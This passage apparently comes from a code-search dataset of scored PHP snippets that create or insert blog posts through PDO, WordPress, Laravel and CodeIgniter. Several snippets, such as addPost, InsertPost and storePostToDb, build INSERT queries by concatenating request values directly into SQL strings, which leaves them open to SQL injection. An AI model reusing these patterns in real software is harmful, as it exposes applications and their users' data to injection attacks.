index.php?route=admin.posts&success=add');\n exit;\n }\n else\n {\n $postAddUnvalid = $post;\n $categories = $this->categories->all('categories', 'name');\n $this->render('addOrUpdatePost', compact('categories', 'formMessage', 'postAddUnvalid'));\n }\n }\n else\n {\n $categories = $this->categories->all('categories', 'name');\n $this->render('addOrUpdatePost', compact('categories'));\n }\n\n }", "title": "" }, { "docid": "17fa7800a317b4466b2e148ed14240a3", "score": "0.6723882", "text": "public function create() //Post de mi contenido Post => Creación \n {\n //\n }", "title": "" }, { "docid": "d34ca21ab2433284bae40777b37fba43", "score": "0.67217916", "text": "public static function add_one_post(Post $post)\n {\n // get PDO object\n $db = connection::getConnection();\n // write sql code\n $sql = \"INSERT INTO posts (title, date, body, tag_id) VALUES(?, ?, ?, ?)\";\n // prepare statement & execute\n try{\n $results = $db->prepare($sql);\n $results->bindValue(1, $post->getTitle(), PDO::PARAM_STR);\n $results->bindValue(2, $post->getDate(), PDO::PARAM_STR);\n $results->bindValue(3, $post->getBody(), PDO::PARAM_STR);\n $results->bindValue(4, $post->getTagId(), PDO::PARAM_STR);\n }\n catch (Exception $e){\n echo \"Error: \" . $e->getMessage();\n exit;\n }\n return $results->execute();\n }", "title": "" }, { "docid": "2e965705a3263869fa67f12960bd2897", "score": "0.67028815", "text": "public function testInsertValidPost() {\n\t\t// count the number of rows and save it for later\n\t\t$numRows = $this->getConnection()->getRowCount(\"post\");\n\n\t\t// create a new Post and insert it into mySQL\n\t\t$post = new Post(null, $this->profile->getProfileId(), $this->venue->getVenueId(), $this->VALID_POSTCONTENT, $this->VALID_POSTCREATEDDATE, $this->VALID_POSTEVENTDATE, $this->VALID_POSTIMAGECLOUDINARYID, $this->VALID_POSTTITLE);\n\t\t$post->insert($this->getPDO());\n\n\t\t// grab the data from mySQL and enforce the fields match our expectations\n\t\t$pdoPost = Post::getPostbyPostId($this->getPDO(), $post->getPostId());\n\t\t$this->assertEquals($numRows + 1, $this->getConnection()->getRowCount(\"post\"));\n\t\t$this->assertEquals($pdoPost->getPostProfileId(), $post->getPostProfileId());\n\t\t$this->assertEquals($pdoPost->getPostVenueId(), $post->getPostVenueId());\n\t\t$this->assertEquals($pdoPost->getPostContent(), $this->VALID_POSTCONTENT);\n\t\t$this->assertEquals($pdoPost->getPostCreatedDate(), $this->VALID_POSTCREATEDDATE);\n\t\t$this->assertEquals($pdoPost->getPostEventDate(), $this->VALID_POSTEVENTDATE);\n\t\t$this->assertEquals($pdoPost->getPostImageCloudinaryId(), $this->VALID_POSTIMAGECLOUDINARYID);\n\t\t$this->assertEquals($pdoPost->getPostTitle(), $this->VALID_POSTTITLE);\n\t}", "title": "" }, { "docid": "7d0855e1be97dea0c6629eec4d054c63", "score": "0.6681049", "text": "public static function add(Post $post) {\n\t\t$query = \"INSERT INTO posts (id, title, content, category, author, dt)\n\t\tVALUES (NULL, :title, :content, :category, :author, :dt);\";\n\n\t\t$title = $post->getTitle();\n\t\t$content = $post->getContent();\n\t\t$category = $post->getCategory()->getId();\n\t\t$author = $post->getAuthor()->getId();\n\t\t$dt = (new DateTime())->format(\"d/m/Y\");\n\n\n\t\t$pdo = Functions::connect();\n\t\t$prepared = $pdo->prepare($query);\n\t\t$prepared->bindValue(\":title\", $title);\n\t\t$prepared->bindValue(\":content\", $content);\n\t\t$prepared->bindValue(\":category\", $category, PDO::PARAM_INT);\n\t\t$prepared->bindValue(\":author\", $author, PDO::PARAM_INT);\n\t\t$prepared->bindValue(\":dt\", $dt);\n\n\t\t$prepared->execute();\n\n\t\t$p = Post::list(true, 1)[0]->getId();\n\n\t\t$tags = $post->getTags();\n\t\tif(count($tags) >= 1) {\n\t\t\t$q = \"INSERT INTO post_tag (post_id, tag) VALUES ( :post , :tag )\";\n\t\t\t$prepared = $pdo->prepare($q);\n\t\t\t$prepared->bindValue(\":post\", $p);\n\t\t\tforeach ($tags as $tg) {\n\t\t\t\t$id = $tg->getId();\n\t\t\t\t$prepared->bindValue(\":tag\", $id);\n\n\t\t\t\t$prepared->execute();\n\t\t\t}\n\t\t}\n\t\t// var_dump($prepared->errorInfo());\n\n\t}", "title": "" }, { "docid": "799b7327dcfa81d5170d6ae3ae0ca9d6", "score": "0.6652503", "text": "public function insertPost($h, $title, $content, $timestamp = null, $category = null, $tags= null, $status = 'pending', $authorid = null, $allowpings = true, $comment_status = 'open', $truncate_length = 200, $meta = array())\n\t{\n\t\t$date = $timestamp;\n\t\t//$date = ($timestamp) ? gmdate('Y-m-d H:i:s', $timestamp + (get_option('gmt_offset') * 3600)) : null;\n\n\t\t$h->post = new \\Libs\\Post();\n\n\t\t// Force unique urls for posts with duplicate titles:\n\t\t$i = 1;\n\t\t$occurrence = \"\";\n\t\twhile ($h->titleExists($title . $occurrence))\n\t\t{\n\t\t\t$i++;\n\t\t\t$occurrence = \" \" . $i;\n\t\t}\n\t\t\n\t\t// parse title for problem characters etc.\n\t\t$title = $this->makeTitleFriendly($title);\n\t\t\n\t\t$h->post->url = make_url_friendly($title . $occurrence);\n\t\t$h->post->title = $title;\n\t\t$h->post->content = truncate($content, $truncate_length);\n\t\t$h->post->date = $date;\n\t\t$h->post->type = 'news';\n\t\t$h->post->category = $category[0];\n\t\t$h->post->tags = $tags;\n\t\t$h->post->origUrl = $meta[\"wpo_sourcepermalink\"];\n\t\t$h->post->domain = get_domain($meta[\"wpo_sourcepermalink\"]);\n\t\t$h->post->author = $authorid;\n\t\t$h->post->status = $status;\n\n\t\tif (!$h->urlExists($h->post->origUrl))\n\t\t{\n\t\t\t$h->addPost();\n\t\t}\n\n\t\t/* $postid = wp_insert_post(array(\n\t\t\t'post_title' \t => $title,\n\t\t\t'post_content' \t => $content,\n\t\t\t'post_content_filtered' \t=> $content,\n\t\t\t'post_category' => $category,\n\t\t\t'post_status' \t => $status,\n\t\t\t'post_author' => $authorid,\n\t\t\t'post_date' => $date,\n\t\t\t'comment_status' => $comment_status,\n\t\t\t'ping_status' => $allowpings\n\t\t));\n\n\t\t\tforeach($meta as $key => $value)\n\t\t\t\t$this->insertPostMeta($postid, $key, $value);\n\t\t*/\n\n\t\t$postid = $h->post->vars['last_insert_id'];\n\t\treturn $postid;\n\t}", "title": "" }, { "docid": "f79e3c9d59d8ce049d544d990a1bcdfb", "score": "0.665138", "text": "function on_wp_insert_post($id) {\n global $id;\n if ( !isset($id) )\n $id = (int)$_REQUEST['post_ID'];\n if ( $this->is_page_preview() && !isset($id) )\n $id = (int)$_GET['preview_id'];\n if ( !current_user_can('edit_post') )\n return;\n \n if ( isset($_POST['dt-meta-content']) && $_POST['dt-meta-content'] != '' )\n $this->data['meta-content'] = $_POST['dt-meta-content'];\n \n if ( isset($this->data) && $this->data != '' )\n update_post_meta($id, '_meta-content-types', $this->data);\n }", "title": "" }, { "docid": "f0a1bbb93247acc49e479a79d3f50cfc", "score": "0.6646898", "text": "public function create_post()\n {\n $data = [\n 'js_lib' => ['/assets/tinymce/tinymce.min.js'],\n 'js' => ['post/create_post_js'],\n 'mdl_js_layout' => false\n ];\n\n $this->backend($data, 'backend/post/create_post');\n }", "title": "" }, { "docid": "9eaca4a21bb26374489b762f6d3eb371", "score": "0.6646293", "text": "protected function perform_insert() {}", "title": "" }, { "docid": "e5618bbb026e704524603e24d5bcd748", "score": "0.664377", "text": "public function savePost() {\n\n $id = $_REQUEST['id'];\n\t\t$postType = $_REQUEST['post_type'];\n $params = $_REQUEST['params'];\n\n\t\t$data = new stdClass();\n\t\t$data->id = $id;\n\t\t$data->date = date('Y-m-d H:i:s');\n\n\t\tforeach ($params as $key => $value) {\n\t\t\t$data->{$key} = $value;\n }\n \n switch($postType) {\n\t\t\tcase 'job':\n\t\t\t\t$job = new Job($data);\n\t\t\t\t$job->save();\n\t\t\t\tbreak;\n\t\t\tcase 'news':\n\t\t\t\t$news = new News($data);\n\t\t\t\t$news->save();\n\t\t\t\tbreak;\n case 'saying':\n $saying = new Saying($data);\n if ($newPostID = $saying->save()) {\n $p = get_post($newPostID);\n \n $options = new stdClass();\n $options->width = 640;\n $options->height = 640;\n $options->sizeFactor = 4;\n $options->text = get_the_title($p->ID);\n $options->slug = basename($p->ID);\n \n $image = new Image($options);\n $image->generate();\n \n $path = $image->getPath();\n $fullPath = $image->getFullPath();\n update_post_meta($p->ID, 'image_name', $path);\n \n $image->savePostThumbnail($p->ID, $fullPath);\n }\n\n break;\n }\n\n exit;\n }", "title": "" }, { "docid": "ddca07210ed1b26725e7fafd7222ae30", "score": "0.6622619", "text": "public function add() {\n // Check if Register button is clicked.\n if (Session::isPost()) {\n $newPost = Session::sanitizePost();\n\n $newPost = Post::createPost($newPost['title'], $newPost['body']);\n //If the data is returned true.\n if ($newPost) {\n $posts = Post::getPosts();\n $data = [\n 'posts' => $posts\n ];\n $this->view(POSTS_HOME, $data);\n }\n } else {\n $this->view(NOT_FOUND_PATH);\n }\n }", "title": "" }, { "docid": "226788e4db544c1d8bbb0d8b1827930d", "score": "0.6614973", "text": "function add()\n {\n $this->_prep_form_values('validation_bbc_post');\n\n $this->view_data['page_title'] = 'Board Write';\n\n if ($this->input->post('submit') || $this->input->is_ajax_request())\n {\n $id = $this->_save('validation_bbc_post', $this->posts);\n \n if ($id)\n {\n if ($this->input->is_ajax_request())\n {\n echo $id; exit();\n }\n\n $this->session->set_flashdata('message', 'Post added.');\n\n redirect ('/');\n }\n }\n\n $this->layout->view('edit', $this->view_data);\n }", "title": "" }, { "docid": "06356f9fdd084c8c784d86d30bf0854c", "score": "0.6604459", "text": "function apf_addpost() {\n $results = '';\n \n $title = $_POST['apftitle'];\n $content = $_POST['apfcontents'];\n \n $post_id = wp_insert_post( array(\n 'post_title' => $title,\n 'post_content' => $content,\n 'post_status' => 'publish',\n 'post_author' => '1'\n ) );\n \n if ( $post_id != 0 )\n {\n $results = '*Post Added';\n }\n else {\n $results = '*Error occurred while adding the post';\n }\n // Return the String\n die($results);\n}", "title": "" }, { "docid": "a2e80ceb0aee1e046de921afd23a6640", "score": "0.6594771", "text": "public function save(Post $post);", "title": "" }, { "docid": "51a10d9a5beb74a207cf598e65a74606", "score": "0.6587325", "text": "public function savePost( $post )\n\t{\n\t\t$data = array( 'Title'=> $post['Title'],\n\t\t\t\t'Description'=> $post['Description']);\n\t\t$this->insert($data);\n\t}", "title": "" }, { "docid": "89c5447b970249f551451d87fbd3a8af", "score": "0.65775645", "text": "public function store() {\n\t\t\n\t\trequest()->validate([\n\t\t\t'title' => ['required','min:3','max:255'],\n\t\t\t'body' => 'required|min:3|max:65535'\n\t\t\t]);\n\t\t/*\n\t\t$post->title = request('title');\n\t\t$post->body = request('body');\n\t\t$post->user_id = auth()->id();\n\t\t$post->save();*/\n\t\t\n\t\t$post = Post::create([\n\t\t\t'title' => request('title'),\n\t\t\t'body' => request('body'),\n\t\t\t'user_id' => auth()->id()\n\t\t\t]);\n\t\t\t\n\t\t/*$tag = request('tag');\n\t\t$tag = Tag::where('name',$tag)->get();\n\t\tforeach ($tag as $tg) {\n\t\t\t$tag_id = $tg->id;\n\t\t\t$post->tags()->attach($tag_id);\n\t\t\t}\n\t\t$category = request('category');\n\t\t$category = Category::where('name',$category)->get();\n\t\tforeach ($category as $cat) {\n\t\t\t$cat_id = $cat->id;\n\t\t\t$post->categories()->attach($cat_id);\n\t\t\t}*/\n\t\t$tags = request('tag');\n\t\t$post->tags()->attach($tags);\n\t\treturn redirect()->route('posts.index')->withFlashMessage('Post added successfully');\n\t\t}", "title": "" }, { "docid": "ba5383fe19176c47600e956446ce2856", "score": "0.65659523", "text": "protected function _insert() {}", "title": "" }, { "docid": "bf39c17f799a1b379ffd9ceb57c42606", "score": "0.65626454", "text": "public function save($post) {\n $this->db->insert('penjadwalan', $post);\n }", "title": "" }, { "docid": "24919d56e76af89fd957fcb96d6d2a02", "score": "0.65617824", "text": "function addPost( $customerName,$dishName, $location, $submitCategory, $file, $rating, $submitDescription) {\n \n $db = new MyDB();\n if(!$db){\n echo '<script type=\"text/javascript\">alert(\"'.$db->lastErrorMsg().'\");</script>';\n } else {\n //echo \"Opened database successfully\\n\";\n }\n //insert post into table with foriegn key of the customer that has submitted the post\n $sql ='INSERT INTO Post (DISHNAME, LOCATION,CATEGORY,IMAGE,RATING, DISHDESCRIPTION, CID) \n VALUES (\"'.$dishName.'\",\"'.$location.'\", \"'.$submitCategory.'\", \"'.$file.'\",\"'.$rating.'\",\"'.$submitDescription.'\", \n (SELECT CID FROM Customer WHERE NAME = \"'.$customerName.'\"));';\n $db->query($sql);\n }", "title": "" }, { "docid": "339790e47243d2c65bcf6c483f9edfa4", "score": "0.6552958", "text": "public function insert()\n\t\t{\n \n\t\t}", "title": "" }, { "docid": "c716fd9c69ceb0600de6b75dfc579be6", "score": "0.6551376", "text": "public function addPost()\n {\n $postManager = new PostManager();\n $postManager->addPost($_POST['title'], $_POST['content'], $_POST['slug']);\n if ((isset($_POST['title'])) && (isset($_POST['content'])) && (isset($_POST['slug'])) && (preg_match('#^[a-z0-9\\-]{3,}$#', ($_POST['slug'])))) {\n header(\"Location:liste-articles/page-0\"); //on redirige vers la liste des posts une fois que le post est créé\n } else {\n header(\"Location:creer-article\"); // sinon on reste sur la page de création d'article car titre ou contenu manquant\n }\n }", "title": "" }, { "docid": "544c28804bb5024612e3b0d9a18282d2", "score": "0.654952", "text": "function index_post() {\n $data = array(\n 'title' => $this->post('title'),\n 'description' => $this->post('description'),\n 'link' => $this->post('link'),\n 'pubdate' => $this->post('pubdate'),\n 'creator' => $this->post('creator')\n );\n $insert = $this->db->insert('news', $data);\n if ($insert) {\n $this->response($data, 200);\n } else {\n $this->response(array('status' => 'fail', 502));\n }\n }", "title": "" }, { "docid": "d11737895c396a68eaf3f2d7ded3c209", "score": "0.65385455", "text": "public function created(Post $post)\n {\n // a post is created\n Http::post('https://hookb.in/2qNxM1N8l6fdzq88zwOe', $post->toArray());\n }", "title": "" }, { "docid": "110f769a7c707ed374b2e7ccd1953057", "score": "0.6531831", "text": "public function insert() {\n \n // Does the Slug object already have an ID?\n if ( !is_null( $this->id ) ) trigger_error ( \"Slug::insert(): Attempt to insert an Slug object that already has its ID property set (to $this->slugId).\", E_USER_ERROR );\n \n // Insert the Slug\n $conn = new PDO( DB_DSN, DB_USERNAME, DB_PASSWORD );\n $sql = \"INSERT INTO slug (slugCategoryId, slugTitle, slugContent ) VALUES ( :slugCategoryId, :slugTitle, :slugContent )\";\n $st = $conn->prepare ( $sql );\n\t$st->bindValue( \":slugCategoryId\", $this->slugCategoryId, PDO::PARAM_INT );\n $st->bindValue( \":slugTitle\", $this->slugTitle, PDO::PARAM_STR );\n $st->bindValue( \":slugContent\", $this->slugContent, PDO::PARAM_STR );\n $st->execute();\n $this->slugId = $conn->lastInsertId();\n $conn = null;\n }", "title": "" }, { "docid": "ee524d151d4baa6e0faadedb3f4b9f2d", "score": "0.6528724", "text": "public function InsertPost( $userId, $title, $content, $type)\n {\n $toLower = strtolower($title);\n $replace = str_replace(array(\"_\",\"?\",\"!\",\" \", \"$\", \"&\", \"#\"), \"-\", $toLower);\n $permalink = trim($replace);\n\n $htmlEncode = htmlentities($content, ENT_NOQUOTES, \"ISO-8859-15\");\n\n $htmlEncode2 = htmlentities($content, ENT_QUOTES, \"ISO-8859-15\");\n\n\n $htmlSpecialChars = htmlspecialchars($content);\n\n $currentDate = date(\"Y-m-d h:i:sa\");\n $sql = \"INSERT INTO `backlinqs_post` (UserId, Title, Content, DateCreated, permalink, post_type) VALUES ('$userId','$title','$content','$currentDate', '$permalink', '$type')\";\n $stmt = $this->DatabaseConnection->query($sql);\n\n return $stmt;\n }", "title": "" }, { "docid": "92e8490f03e764936eff2dd3d26dd32c", "score": "0.6522852", "text": "public function create_post(){\n $query = \"INSERT INTO {$this->table} (post_category_id, post_title, post_author , post_date , post_image, post_content, post_tags, post_comment_count, post_status) VALUES\n (:cat_id , :title , :author , NOW() , :post_image , :content , :tags , :comment_count , :post_status )\";\n $stmt = $this->conn->prepare($query);\n $stmt->bindParam(':cat_id', $this->post_category_id);\n $stmt->bindParam(':title', $this->post_title);\n $stmt->bindParam(':author', $this->post_author);\n $stmt->bindParam(':post_image', $this->post_image);\n $stmt->bindParam(':content', $this->post_content); \n $stmt->bindParam(':tags', $this->post_tags);\n $stmt->bindParam(':comment_count', $this->post_comment_count);\n $stmt->bindParam(':post_status', $this->post_status);\n $stmt->execute();\n return $stmt;\n }", "title": "" }, { "docid": "5d9b8ff99571f10b2704725a041c0e47", "score": "0.6518361", "text": "public static function addNewLike($post) {\n $userId = Session::get('user')->getId();\n\n $stmt = self::$con->prepare(\"insert into post_like values(null, ?, ?, 1)\");\n $stmt->bind_param(\"ii\", $userId, $post);\n $stmt->execute();\n $stmt->close();\n\n echo \"1\";\n }", "title": "" }, { "docid": "745667a38b560b254f7af10849a813aa", "score": "0.6504849", "text": "public function post_create() {\n\n\t\t\t$post = Post::create(\n\t\t\t\tarray('headline' => Input::get('headline'),\n\t\t\t\t\t 'post' => Input::get('body'),\n\t\t\t\t\t 'menu' => Input::has('menuitem'),\n\t\t\t\t\t 'frontpage' => Input::has('frontpage'),\n\t\t\t\t\t 'filename' => Input::get('files'),\n\t\t\t\t\t 'video_url' => Input::get('vimeo'),\n\t\t\t\t\t 'user_id' => Session::get('uid'),\n\t\t\t\t\t 'group_id' => Session::get('current_course')\n\t\t\t\t\t ));\n\t\t\treturn Redirect::to('post/'.$post->id)\n\t\t\t\t->with_message(Input::get('headline') . \" has been created!\", 'success');\n\t\t\n\t}", "title": "" }, { "docid": "a27c637194f3cc0813898c5f6fca912d", "score": "0.6499906", "text": "function create(Post $post){\n\trequire_once(\"DbConnection.php\");\n\t$sql = \"INSERT INTO demo ( name, prise ) VALUES ('\".$post->getName().\"','\".$post->getPrise().\"')\";\n\n\t$connection->exec($sql);\n\treturn true;\n}", "title": "" }, { "docid": "966a1f6f0b32f20969ae3ca6c888f84d", "score": "0.64960694", "text": "public function add() {\n if($this->request->is('post')) {\n $this->request->data['Post']['user_id'] = $this->Auth->user('id');\n\n $this->Post->create();\n if($this->Post->save($this->request->data)) {\n return $this->redirect(array('action' => 'view', $this->Post->getInsertID()));\n }\n $this->Flash->error(__('Unable to save your post.'));\n }\n }", "title": "" }, { "docid": "4c67932a7b2b2e4dc1b51b413a84cdfe", "score": "0.6473342", "text": "function create_post($group_name, $uid, $path, $content){\r\n return $this->post->insert([\"gid\" => $this->get_gid($group_name),\r\n \"uid\" => $uid,\r\n \"aid\" => $this->get_aid($path),\r\n \"content\" => $content]);\r\n }", "title": "" }, { "docid": "cb941b94429cb9a32e7c1e61626f6a34", "score": "0.647305", "text": "public function create($post): Post\n {\n $sql = \"INSERT INTO `posts`\n (`title`,\n `content`,\n `visibility`,\n `slug`)\n VALUES\n (:title,\n :content,\n :visibility,\n :slug\n )\";\n\n $db = $this->getDB();\n $stmt = $db->prepare($sql);\n\n $stmt->bindValue(':title', $post->title);\n $stmt->bindValue(':content', $post->content );\n $stmt->bindValue(':visibility', $post->visibility);\n $stmt->bindValue(':slug', $post->slug);\n\n $stmt->execute();\n\n $this->errorManagement($stmt);\n\n $post->id = $db->lastInsertId();\n return $post;\n }", "title": "" }, { "docid": "2cebf1aa60a428b293d82cf4c83b06df", "score": "0.6464099", "text": "public function insert() {\n\t\t$db = self::getDB();\n\t\t$sql = \"INSERT INTO foruns\n\t\t\t\t\t(nome, fk_idUsuario, fk_idCategoria)\n\t\t\t\tVALUES\n\t\t\t\t\t(:nome, :fk_idUsuario, :fk_idCategoria)\";\n\t\t$query = $db->prepare($sql);\n\t\t$query->execute([\n\t\t\t':nome' => $this->getNome(), \n\t\t\t':fk_idUsuario' => $this->getFkIdUsuario(),\n\t\t\t':fk_idCategoria' => $this->getFkIdCategoria()\n\t\t]);\n\t\t$this->idForum = $db->lastInsertId();\n\t}", "title": "" }, { "docid": "809b5328dad858d2230bd7c259b5d22b", "score": "0.6455994", "text": "public function store()\n {\n request()->validate([\n 'title' => 'required',\n 'abs' => 'required',\n 'cont' => 'required'\n\n ]);\n $post = new Post();\n $post->title = request('title');\n $post->abstract = request('abs');\n $post->content = request('cont');\n $post->user_id = 1;\n $post->author = request('author');\n\n $post->save();\n\n $post->tags()->attach(request('tags'));\n\n return redirect('/posts');\n\n }", "title": "" }, { "docid": "eb9314da3557917526f4b3ba3b621c72", "score": "0.644654", "text": "protected function addPosts(){\n foreach( $this->post_names as $key => $name ){\n $this->click(\"link=Add New\");\n $this->waitForPageToLoad(\"30000\");\n $this->type(\"id=title\", $name['title']);\n // $this->addFeaturedImage($this->images[$key]);\n $this->click(\"id=publish\");\n $this->waitForPageToLoad(\"30000\"); \n }\n \n }", "title": "" }, { "docid": "940ffa5c00a49eb961470e037335015f", "score": "0.64431417", "text": "public function save( $post_id );", "title": "" }, { "docid": "8de93db0581d36c70fffe57361ec03f7", "score": "0.64317334", "text": "public function run()\n {\n $postRecord = [\n [\n 'title' => 'This is seed post title for my blog',\n 'description' => 'description'\n ]\n ];\n Post::insert($postRecord);\n }", "title": "" }, { "docid": "c620dec9bce5a8072a1b4c1030afafc4", "score": "0.6429931", "text": "public static function save_post( $post_id ) {}", "title": "" }, { "docid": "cf0a5dbc60a8e5afc1aafdf87e202a24", "score": "0.64255893", "text": "public function add_post(){\n\t\t$response =$this ->M_person->add_person(\n\t\t\t$this -> post ('name'),\n\t\t\t$this -> post ('address'),\n\t\t\t$this -> post ('phone'),\n\t\t);\n\t\t$this ->response ($response);\n\t}", "title": "" }, { "docid": "efb464e6aaad3af890a36861ce060679", "score": "0.64195377", "text": "public function insert($message) {\n //Si el post es crea correctament\n if ($message == \"success\") {\n echo \"<div>El post s'ha creat correctament</div>\";\n }\n\n //Si no es pot crear, mostra error\n else if ($message == \"error\") {\n echo \"<div>Error: segur que aixi no es creen els posts...</div>\";\n }\n\n require_once 'views/posts/insert.php';\n }", "title": "" }, { "docid": "ef5c86582cf57fece7fff79c7e953de6", "score": "0.6417509", "text": "public function insert($post_vars){\r\n\t\t\t\r\n\t\t$fields = $this->get_fields();\r\n\t\tforeach($fields as $key => $value){ //this could be an insert function\r\n\t\t\tif($value->get_extra() != \"auto_increment\" && $value->get_key() != 'PRI'){\r\n\t\t\t\t$field[] = (\"{$value->get_field_name()}\"); //we are just getting the fields \r\n\t\t\t\tif(!empty($post_vars[$value->get_field_name()])){\r\n\t\t\t\t\t\t$field_name = $value->get_field_name();\r\n\t\t\t\t\t\t$field_val =$post_vars[$field_name] ;\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse{\r\n\t\t\t\t\t\t$field_val = 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t$input_parameters[$value->get_field_name()] = $field_val;\r\n\t\t\t}\r\n\t\t}\r\n\t\t$sql = \"INSERT INTO {$this->table_name} (\".implode(\",\", $field ).\") VALUES (:\".\r\n\t\t\t\timplode(\",:\", $field).\")\";\r\n\t\t\t\r\n\t\ttry{\r\n\t\t\t$q = $this->dbh->prepare($sql);\r\n\t\t\t$q->execute($input_parameters);\r\n\t\t}\r\n\t\tcatch(PDOException $e) { \r\n\t\t\techo $e->getMessage(); \r\n\t\t} \r\n\t}", "title": "" }, { "docid": "f2ae2c59b33550b815203e165fa65f99", "score": "0.6412174", "text": "public function create(){\n\n $title = $this->request->data(\"title\");\n $content = $this->request->data(\"content\");\n\n $result = $this->post->create(Session::getUserId(), $title, $content);\n\n if(!$result){\n Session::set('posts-errors', $this->post->errors());\n }else{\n Session::set('posts-success', \"Post has been created\");\n }\n\n return $this->redirector->root(\"Posts/newPost\");\n }", "title": "" }, { "docid": "762ffd155be623e4f7fac75805ddb847", "score": "0.6408003", "text": "public function add_postAction() {\r\n\t\t$info = $this->getPost(array('title', 'share_content', 'content'));\r\n\t\t$info = $this->_cookData($info);\r\n\t\t$result = Gou_Service_Topic::addTopic($info);\r\n\t\tif (!$result) $this->output(-1, '操作失败');\r\n\t\t$this->output(0, '操作成功');\r\n\t}", "title": "" }, { "docid": "3a9872b8bc0efba7dd3fb5ecf49a3574", "score": "0.64037865", "text": "public function postAction()\n {\n $t = $this->createTable();\n /* @var $ds Am_Grid_DataSource_Interface_Editable */\n $this->record = $t->createRecord();\n $vars = $this->getRequest()->getParams();\n if (!empty($vars['nested']))\n {\n $this->_nestedInput = $vars['nested'];\n unset($vars['nested']);\n }\n $this->setForInsert($this->record, $vars);\n $this->record->insert();\n $this->insertNested($this->record, $vars);\n $this->apiOutRecords(array($this->record));\n }", "title": "" }, { "docid": "20d79530474c938fc91d8239c28f3505", "score": "0.6402745", "text": "protected function createNewFacebookPost()\n {\n $this->facebookPost = new \\App\\Facebook;\n $post = \\App\\Post::where('id', '>', 0)->first();\n $this->processPostToFacebook($post);\n }", "title": "" }, { "docid": "d24979f7bcdf6fd258eef7556be091a7", "score": "0.63967186", "text": "public function addpostAction() {\n $request = $this->getRequest();\n $locale = $this->getLocale();\n $format = $locale == 'ru' ? 'd.m.Y' : 'm/d/Y';\n $db = $this->app['ar'];\n //--------------------\n try {\n // Initialization\n $this->init(__CLASS__ . \"/\" . __FUNCTION__);\n\n // Create object NewPost and set values\n $ormPost = new Post();\n if ($this->isMethod('GET')) {\n $ormPost->setCreated(date($format));\n }\n // Create form\n $form = $this->createForm(new PostForm(), $ormPost, array('action' => \"/test/addpost\"));\n $form->handleRequest($request);\n if ($form->isSubmitted() && $form->isValid()) {\n // Get username\n $user = $this->getUser();\n $username = $user->getUsername();\n // Get user\n $user = $db->find('user', 'first', array('conditions' => \"username='{$username}'\"));\n // Create model post and set values\n $arPost = $db->create('post', $ormPost->getValues());\n $arPost->user_id = $user->id;\n $arPost->saveModel();\n // Send flash message\n $this->addFlash('info_message', $this->trans('added_new_message', array('{{ title }}' => $ormPost->getTitle())));\n // Go to \"/account\"\n return $this->redirect(\"/account\");\n }\n\n // Show form\n return $this->showView(array('form' => $form->createView()));\n } catch (\\Exception $exc) {\n return $this->showError($exc);\n }\n }", "title": "" }, { "docid": "99bb9b55e26b77acae1be3c266448481", "score": "0.6392259", "text": "function addPost(Post $post)\n\t{\n\t\t$post->setId(count($this->posts));\n\t\tarray_push($this->posts, $post);\n\t}", "title": "" }, { "docid": "18e0963efc3fcd5a5c3b235b29e3fead", "score": "0.6387507", "text": "public function createPost($titlePost, $contentPost){\n $req= $this->db->prepare('INSERT INTO posts (titlePost, contentPost, datePost) VALUES (:titlePost, :contentPost, NOW())');\n $req->bindParam(\":titlePost\", $titlePost, PDO::PARAM_STR);\n $req->bindParam(\":contentPost\", $contentPost, PDO::PARAM_STR);\n $req->execute();\n $post = $req;\n return $post;\n }", "title": "" }, { "docid": "7ed2a1bdceb065e0ff52043ac43606c4", "score": "0.6367466", "text": "private function executeInsert()\n {\n if (($this->current_entity == 'audio_stream') || ($this->current_entity == 'video_stream')) {\n $desc = 'audio_video_data_id';\n $parent_id = end($this->entity_ids['audio_video_data']);\n } else if (($this->current_entity == 'text_data') || ($this->current_entity == 'image_data')) {\n $desc = 'sequence_id';\n $parent_id = end($this->entity_ids['sequence']);\n }\n $this->getNextID($pointer);\n $columns = array('id',$desc,'creation_date');\n $values = array($this->entity_id,$parent_id,date('Y-m-d'));\n foreach ($this->temp_array AS $key => $value) {\n $columns[] = $key;\n $values[] = $value;\n }\n $handler = $this->prepareInsert($columns);\n $res = $this->db->execute($handler, $values);\n $this->handleDbError($res);\n }", "title": "" }, { "docid": "f349a960d97cd97b364685a5c6d0b25d", "score": "0.63611317", "text": "public function testInsertInvalidPost() {\n\t\t// create a Profile with a non null profile id and watch it fail /cry\n\t\t$post = new Post(GigHubTest::INVALID_KEY, $this->profile->getProfileId(), $this->venue->getVenueId(), $this->VALID_POSTCONTENT, $this->VALID_POSTCREATEDDATE, $this->VALID_POSTEVENTDATE, $this->VALID_POSTIMAGECLOUDINARYID, $this->VALID_POSTTITLE);\n\t\t$post->insert($this->getPDO());\n\t}", "title": "" }, { "docid": "59a27768bc14e0369e43267482eb02d7", "score": "0.6355938", "text": "function storePostToDb($title, $content, $date, $imageURL, $author)\n {\n\n $id = $this->generatePostId();\n $dateFormat = date(\"Y-m-d\", strtotime($date));\n $sql = \"INSERT INTO posts VALUES ('\" . $id . \"','\" . $title . \"','\" . $content . \"','\" . $dateFormat . \"','\" . $imageURL . \"','\" . $author . \"')\";\n\n if ($this->connect()->query($sql)) {\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "76e2310e99bbb52afc0919133e51bd81", "score": "0.6353912", "text": "public function insert( $attributes ) {\n\t\treturn wp_insert_post( $attributes, false );\n\t}", "title": "" }, { "docid": "0b88f5e59d216638cf841cfe5f00b8ce", "score": "0.6353904", "text": "public function created(Post $post)\n {\n }", "title": "" }, { "docid": "2c9cb0983f4e4aa0b2144616b4f2ac58", "score": "0.63534796", "text": "public function created(Post $post)\n {\n //\n }", "title": "" }, { "docid": "2c9cb0983f4e4aa0b2144616b4f2ac58", "score": "0.63534796", "text": "public function created(Post $post)\n {\n //\n }", "title": "" }, { "docid": "2c9cb0983f4e4aa0b2144616b4f2ac58", "score": "0.63534796", "text": "public function created(Post $post)\n {\n //\n }", "title": "" }, { "docid": "f9463cd5df93c9624b44e30ae650b912", "score": "0.63480747", "text": "public function post_add_post($h)\r\n {\r\n //get vote settings\r\n $updown_voting_settings = $h->getSerializedSettings('updown_voting'); \r\n $submit_vote = $updown_voting_settings['submit_vote'];\r\n $submit_vote_value = $updown_voting_settings['submit_vote_value'];\r\n \r\n // Automatically vote for a post when it's submitted...\r\n if ($submit_vote == 'checked') {\r\n \r\n //update the vote count\r\n $sql = \"UPDATE \" . TABLE_POSTS . \" SET post_votes_up=post_votes_up+%d WHERE post_id = %d\";\r\n $h->db->query($h->db->prepare($sql, 